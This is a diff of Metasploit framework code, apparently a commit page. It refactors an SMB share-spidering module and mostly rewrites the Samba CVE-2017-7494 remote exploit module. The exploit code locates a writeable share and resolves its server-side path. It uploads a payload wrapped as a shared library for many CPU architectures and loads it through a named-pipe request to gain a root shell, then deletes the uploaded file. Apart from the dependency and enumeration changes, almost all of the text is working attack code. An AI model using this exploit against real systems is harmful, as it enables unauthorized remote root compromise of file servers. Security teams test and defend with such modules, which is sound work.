spec.add_runtime_dependency 'rex-struct2'
|
||||
# Library which contains architecture specific information such as registers, opcodes,
|
||||
# and stack manipulation routines.
|
||||
spec.add_runtime_dependency 'rex-arch', '0.1.4'
|
||||
spec.add_runtime_dependency 'rex-arch'
|
||||
# Library for working with OLE.
|
||||
spec.add_runtime_dependency 'rex-ole'
|
||||
# Library for creating and/or parsing MIME messages.
|
||||
|
@ -49,16 +49,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]),
|
||||
OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]),
|
||||
OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]),
|
||||
OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ])
|
||||
])
|
||||
|
||||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
def share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
def device_type_int_to_text(device_type)
|
||||
types = [
|
||||
"UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK",
|
||||
@ -172,114 +167,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
os_info
|
||||
end
|
||||
|
||||
def lanman_netshareenum(ip, rport, info)
|
||||
shares = []
|
||||
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if e.error_code == 0xC00000BB
|
||||
vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...")
|
||||
@srvsvc = true # Make sure the module is aware of this state
|
||||
return srvsvc_netshareenum(ip)
|
||||
end
|
||||
end
|
||||
|
||||
return [] if res.nil?
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def srvsvc_netshareenum(ip)
|
||||
shares = []
|
||||
simple.connect("\\\\#{ip}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{ip}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << ["FFFFFFFF"].pack("H*")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
if win_error != 0
|
||||
raise "DCE/RPC error : Win_error = #{win_error + 0}"
|
||||
end
|
||||
# remove some uneeded data
|
||||
res.slice!(0,12) # level, CTR header, Reference ID of CTR
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
res.slice!(0,4) # Reference ID of CTR1
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count
|
||||
|
||||
# RerenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
|
||||
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
|
||||
name = res.slice!(0, 2 * length).gsub('\x00','')
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
|
||||
if comment_length != comment_max_length
|
||||
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
|
||||
end
|
||||
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
name = Rex::Text.to_ascii(name)
|
||||
s_type = Rex::Text.to_ascii(share_type(types[t]))
|
||||
comment = Rex::Text.to_ascii(comment)
|
||||
|
||||
shares << [ name, s_type, comment ]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def get_user_dirs(ip, share, base, sub_dirs)
|
||||
dirs = []
|
||||
usernames = []
|
||||
@ -445,11 +332,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
if @srvsvc
|
||||
shares = srvsvc_netshareenum(ip)
|
||||
else
|
||||
shares = lanman_netshareenum(ip, rport, info)
|
||||
end
|
||||
shares = smb_netshareenumall
|
||||
|
||||
os_info = get_os_info(ip, rport)
|
||||
print_status(os_info) if os_info
|
||||
|
@ -22,10 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
|
||||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
|
||||
'hdm', # Metasploit Module
|
||||
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
|
||||
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
@ -39,58 +38,85 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
#
|
||||
# Targets are currently limited by platforms with ELF-SO payload wrappers
|
||||
#
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
[ 'Automatic (Interact)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Automatic (Command)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
|
||||
],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
||||
#
|
||||
# Not ready yet
|
||||
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
|
||||
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
|
||||
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
|
||||
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
|
||||
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
|
||||
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
|
||||
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
|
||||
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
|
||||
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
|
||||
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
|
||||
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
|
||||
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DCERPC::fake_bind_multi' => false,
|
||||
'SHELL' => '/bin/sh',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Mar 24 2017',
|
||||
'DefaultTarget' => 1))
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
|
||||
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
|
||||
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
|
||||
])
|
||||
end
|
||||
|
||||
# Setup our mapping of Metasploit architectures to gcc architectures
|
||||
def setup
|
||||
super
|
||||
@@payload_arch_mappings = {
|
||||
ARCH_X86 => [ 'x86' ],
|
||||
ARCH_X64 => [ 'x86_64' ],
|
||||
ARCH_MIPS => [ 'mips' ],
|
||||
ARCH_MIPSLE => [ 'mipsel' ],
|
||||
ARCH_MIPSBE => [ 'mips' ],
|
||||
ARCH_MIPS64 => [ 'mips64' ],
|
||||
ARCH_MIPS64LE => [ 'mips64el' ],
|
||||
ARCH_PPC => [ 'powerpc' ],
|
||||
ARCH_PPC64 => [ 'powerpc64' ],
|
||||
ARCH_PPC64LE => [ 'powerpc64le' ],
|
||||
ARCH_SPARC => [ 'sparc' ],
|
||||
ARCH_SPARC64 => [ 'sparc64' ],
|
||||
ARCH_ARMLE => [ 'armel', 'armhf' ],
|
||||
ARCH_AARCH64 => [ 'aarch64' ],
|
||||
ARCH_ZARCH => [ 's390x' ],
|
||||
}
|
||||
|
||||
def generate_common_locations
|
||||
candidates = []
|
||||
if datastore['SMB_SHARE_BASE'].to_s.length > 0
|
||||
candidates << datastore['SMB_SHARE_BASE']
|
||||
end
|
||||
# Architectures we don't offically support but can shell anyways with interact
|
||||
@@payload_arch_bonus = %W{
|
||||
mips64el sparc64 s390x
|
||||
}
|
||||
|
||||
%W{ /volume1 /volume2 /volume3 /volume4
|
||||
/shared /mnt /mnt/usb /media /mnt/media
|
||||
/var/samba /tmp /home /home/shared
|
||||
}.each do |base_name|
|
||||
candidates << base_name
|
||||
candidates << [base_name, @share]
|
||||
candidates << [base_name, @share.downcase]
|
||||
candidates << [base_name, @share.upcase]
|
||||
candidates << [base_name, @share.capitalize]
|
||||
candidates << [base_name, @share.gsub(" ", "_")]
|
||||
end
|
||||
|
||||
candidates.uniq
|
||||
# General platforms (OS + C library)
|
||||
@@payload_platforms = %W{
|
||||
linux-glibc
|
||||
}
|
||||
end
|
||||
|
||||
# List all top-level directories within a given share
|
||||
def enumerate_directories(share)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
@ -109,15 +135,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return nil
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
# Determine whether a directory in a share is writeable
|
||||
def verify_writeable_directory(share, directory="")
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
simple.connect("\\\\#{rhost}\\#{share}")
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
|
||||
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
|
||||
@ -134,66 +159,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return false
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
def share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
def enumerate_shares_lanman
|
||||
shares = []
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
if res.nil?
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def probe_module_path(path, simple_client=self.simple)
|
||||
begin
|
||||
simple_client.create_pipe(path)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Probe: #{path}: #{e}")
|
||||
end
|
||||
# Call NetShareGetInfo to retrieve the server-side path
|
||||
def find_share_path
|
||||
share_info = smb_netsharegetinfo(@share)
|
||||
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
|
||||
end
|
||||
|
||||
# Crawl top-level directories and test for writeable
|
||||
def find_writeable_path(share)
|
||||
subdirs = enumerate_directories(share)
|
||||
return unless subdirs
|
||||
@ -210,9 +186,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
nil
|
||||
end
|
||||
|
||||
# Locate a writeable directory across identified shares
|
||||
def find_writeable_share_path
|
||||
@path = nil
|
||||
share_info = enumerate_shares_lanman
|
||||
share_info = smb_netshareenumall
|
||||
if datastore['SMB_SHARE_NAME'].to_s.length > 0
|
||||
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
|
||||
end
|
||||
@ -227,92 +204,224 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
# Locate a writeable share
|
||||
def find_writeable
|
||||
find_writeable_share_path
|
||||
unless @share && @path
|
||||
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
|
||||
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
# Store the wrapped payload into the writeable share
|
||||
def upload_payload(wrapped_payload)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(8)+".so"
|
||||
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
||||
|
||||
wfd = simple.open(filename, 'rwct')
|
||||
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
|
||||
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
|
||||
)
|
||||
wfd << wrapped_payload
|
||||
wfd.close
|
||||
|
||||
@payload_name = random_filename
|
||||
return true
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("Write #{@share}#{filename}: #{e}")
|
||||
return false
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||
simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||
end
|
||||
|
||||
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
|
||||
return true
|
||||
end
|
||||
|
||||
# Try both pipe open formats in order to load the uploaded shared library
|
||||
def trigger_payload
|
||||
|
||||
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
[
|
||||
"\\\\PIPE\\" + target,
|
||||
target
|
||||
].each do |tpath|
|
||||
|
||||
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
|
||||
|
||||
smb_connect
|
||||
|
||||
# Try to execute the shared library from the share
|
||||
begin
|
||||
simple.client.create_pipe(tpath)
|
||||
probe_module_path(tpath)
|
||||
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
# Common errors we can safely ignore
|
||||
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
|
||||
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
|
||||
if e.error_code == 0xc0000039
|
||||
print_good("Probe response indicates the interactive payload was loaded...")
|
||||
|
||||
smb_shell = self.sock
|
||||
self.sock = nil
|
||||
remove_socket(sock)
|
||||
handler(smb_shell)
|
||||
return true
|
||||
else
|
||||
print_error(" >> Failed to load #{e.error_name}")
|
||||
end
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
||||
def cycle_possible_payloads
|
||||
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
|
||||
template_list = []
|
||||
template_type = nil
|
||||
template_arch = nil
|
||||
|
||||
# Handle the generic command types first
|
||||
if target.arch.include?(ARCH_CMD)
|
||||
template_type = target['Interact'] ? 'findsock' : 'system'
|
||||
|
||||
all_architectures = @@payload_arch_mappings.values.flatten.uniq
|
||||
|
||||
# Include our bonus architectures for the interact payload
|
||||
if target['Interact']
|
||||
@@payload_arch_bonus.each do |t_arch|
|
||||
all_architectures << t_arch
|
||||
end
|
||||
end
|
||||
|
||||
# Prioritize the most common architectures first
|
||||
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
|
||||
template_list << all_architectures.delete(t_arch)
|
||||
end
|
||||
|
||||
# Queue up the rest for later
|
||||
all_architectures.each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
|
||||
# Handle the specific architecture targets next
|
||||
else
|
||||
template_type = 'shellcode'
|
||||
target.arch.each do |t_name|
|
||||
@@payload_arch_mappings[t_name].each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any duplicates that mau have snuck in
|
||||
template_list.uniq!
|
||||
|
||||
# Cycle through each top-level platform we know about
|
||||
@@payload_platforms.each do |t_plat|
|
||||
|
||||
# Cycle through each template and yield
|
||||
template_list.each do |t_arch|
|
||||
|
||||
|
||||
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
|
||||
next unless ::File.exists?(wrapper_path)
|
||||
|
||||
data = ''
|
||||
::File.open(wrapper_path, "rb") do |fd|
|
||||
data = Rex::Text.ungzip(fd.read)
|
||||
end
|
||||
|
||||
pidx = data.index('PAYLOAD')
|
||||
if pidx
|
||||
data[pidx, payload.encoded.length] = payload.encoded
|
||||
end
|
||||
|
||||
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
|
||||
yield(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def find_payload
|
||||
|
||||
# Reconnect to IPC$
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
# Look for common paths first, since they can be a lot quicker than hunting PIDs
|
||||
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
|
||||
generate_common_locations.each do |location|
|
||||
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
print_status("Trying location #{target}...")
|
||||
probe_module_path(target)
|
||||
# Verify that the payload settings make sense
|
||||
def sanity_check
|
||||
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
|
||||
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
|
||||
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
|
||||
end
|
||||
|
||||
# Exit early if we already have a session
|
||||
return if session_created?
|
||||
|
||||
return unless datastore['BruteforcePID']
|
||||
|
||||
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
|
||||
# to non-root, but their /proc/pid directories are still owned by root. Trying to
|
||||
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
|
||||
# good chance that this still works on some embedded systems and odd-ball Linux.
|
||||
|
||||
# Use the PID hunting strategy devised by Tavis Ormandy
|
||||
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
|
||||
|
||||
# Configure the main connection to have a working directory of the file share
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
# Use a second connection to brute force the PID of the first connection
|
||||
probe_conn = connect(false)
|
||||
smb_login(probe_conn)
|
||||
probe_conn.connect("\\\\#{rhost}\\#{@share}")
|
||||
probe_conn.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
|
||||
2.upto(32768) do |pid|
|
||||
|
||||
# Look for the PID associated with our main SMB connection
|
||||
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
vprint_status("Trying PID with target path #{target}...")
|
||||
probe_module_path(target, probe_conn)
|
||||
|
||||
# Keep our main connection alive
|
||||
if pid % 1000 == 0
|
||||
self.simple.client.find_first("\\*")
|
||||
end
|
||||
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
|
||||
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
|
||||
print_error(" Please set a valid PAYLOAD and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Shorthand for connect and login
|
||||
def smb_connect
|
||||
connect
|
||||
smb_login
|
||||
end
|
||||
|
||||
# Start the shell train
|
||||
def exploit
|
||||
# Validate settings
|
||||
sanity_check
|
||||
|
||||
# Setup SMB
|
||||
smb_connect
|
||||
|
||||
# Find a writeable share
|
||||
find_writeable
|
||||
|
||||
# Retrieve the server-side path of the share like a boss
|
||||
print_status("Retrieving the remote path of the share '#{@share}'")
|
||||
@share_path = find_share_path
|
||||
print_status("Share '#{@share}' has server-side path '#{@share_path}")
|
||||
|
||||
# Disconnect
|
||||
disconnect
|
||||
|
||||
# Create wrappers for each potential architecture
|
||||
cycle_possible_payloads do |wrapped_payload|
|
||||
|
||||
# Connect, upload the shared library payload, disconnect
|
||||
smb_connect
|
||||
upload_payload(wrapped_payload)
|
||||
disconnect
|
||||
|
||||
# Trigger the payload
|
||||
early = trigger_payload
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
smb_connect
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
disconnect
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
end
|
||||
|
||||
# Bail early if our interact payload loaded
|
||||
return if early
|
||||
end
|
||||
end
|
||||
|
||||
# A version-based vulnerability check for Samba
|
||||
def check
|
||||
res = smb_fingerprint
|
||||
|
||||
@ -347,8 +456,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
connect
|
||||
smb_login
|
||||
smb_connect
|
||||
find_writeable_share_path
|
||||
disconnect
|
||||
|
||||
@ -361,33 +469,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Setup SMB
|
||||
connect
|
||||
smb_login
|
||||
|
||||
# Find a writeable share
|
||||
find_writeable
|
||||
|
||||
# Upload the shared library payload
|
||||
upload_payload
|
||||
|
||||
# Find and execute the payload from the share
|
||||
begin
|
||||
find_payload
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Shutdown
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user